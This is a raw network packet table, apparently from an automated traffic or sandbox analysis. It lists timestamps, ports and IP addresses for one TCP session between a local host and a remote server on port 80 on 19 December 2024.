Dec 19, 2024 06:09:42.901622057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.901741982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.901787043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.902654886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.902703047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.902810097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.902854919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.903805017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.903852940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.903908968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.903954029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.904875040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.904922009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.904983044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.905030012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.905949116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.906054974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.906060934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.906104088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.907035112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.907080889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.907243013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.907288074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.908153057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.908198118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.908267975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.908308029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.909187078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.909254074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.909282923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.909327030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.910284042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.910398006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.910407066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.910438061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.911367893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.911497116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.911550999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.912489891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.912537098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.912545919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.912585020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.913568974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.913619041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.913647890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.913695097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.914653063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.914700031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.914738894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.914932013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.915745974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.915826082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.915874004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.916816950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.916933060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.916979074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.917969942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.918015003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.918071985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.918118954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.918987036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.919034004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.919104099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.919150114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.920097113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.920144081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.920192957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.920242071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.921185017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.921250105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.921310902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.921358109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.922271013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.922394991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.922442913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.923381090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.923485041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.923533916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.924447060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.924493074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.924530983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.924580097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.925532103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.925579071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.925627947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.925673008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.926668882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.926732063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.926783085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.927715063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.927761078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.927813053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.927861929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.928801060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.928848028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.928906918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.928952932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.929888010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.930020094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.930073023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.930969000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.931081057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.931129932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.932027102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.932092905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.067559004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.067647934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.067707062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.067761898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.068049908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.068109989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.068159103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.068217993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.069200993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.069257975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.069329023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.069380999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.070215940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.070271015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.070344925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.070393085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.071331024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.071382046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.071384907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.071433067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.072400093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.072458029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.072520018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.072572947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.073462963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.073508978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.073566914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.073618889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.074542046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.074594021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.074666977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.074749947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.075627089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.075700045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.075761080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.075916052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.076738119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.076787949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.076848030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.077665091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.077799082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.077851057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.077924967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.078025103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.078896046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.078950882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.079010963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.079224110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.079982042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.080040932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.080101967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.080241919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.081093073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.081146002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.081218958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.081312895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.082187891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.082237005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.082295895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.082379103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.083340883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.083410025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.083453894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.083586931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.084357023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.084462881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.084465027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.084506989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.085462093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.085515022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.085629940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.085673094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.086564064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.086690903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.086738110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.087641001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.087697029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.087771893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.088057041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.088706017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.088836908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.088870049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.088886023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.089791059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.089847088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.089901924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.089951992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.090883970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.090938091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.090996027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.091274977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.092014074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.092072964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.092113972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.092267990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.093086004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.093142033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.093192101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.093241930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.094177008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.094305992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.094357014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.095227003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.095277071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.095365047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.095670938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.096457958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.096510887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.096570969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.096657991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.097429991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.097474098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.097533941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.097716093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.098526001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.098582983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.098623037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.098733902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.099603891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.099726915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.099773884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.100696087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.100748062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.100797892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.100845098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.101778030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.101839066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.101900101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.101939917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.102865934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.102937937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.102981091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.103065968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.103967905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.104049921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.104078054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.104130030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.105048895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.105165958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.105196953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.105206966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.106141090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.106185913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.106229067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.106271982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.107256889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.107428074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.107486010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.108299971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.108346939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.108474970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.108524084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.109412909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.109467983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.109529018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.109725952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.110490084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.110613108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.110654116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.111624002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.111673117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.111732006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.112015009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.112673998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.112742901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.112803936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.112993002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.113773108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.113828897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.113881111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.113955021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.114871025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.114974976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.115030050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.116064072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.116099119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.116127968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.116168976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.117038012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.117161989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.117176056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.117221117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.118123055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.118242025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.118292093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.119219065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.119362116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.119420052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.120323896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.120384932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.120445013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.120496988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.121411085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.121462107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.121464014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.121507883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.122476101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.122607946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.122647047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.122658014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.123568058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.123616934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.123693943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.124041080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.124628067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.124694109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.259607077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.259675026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.259732008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.259784937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.260139942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.260198116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.260206938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.260253906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.260315895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.260365009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.261413097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.261466980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.261543036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.261595011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.262396097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.262455940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.262516022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.262572050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.263514042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.263564110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.263607025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.263647079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.264581919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.264636040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.264671087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.264717102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.265671015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.265724897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.265773058 CET	80	49838	31.41.244.11	192.168.2.4
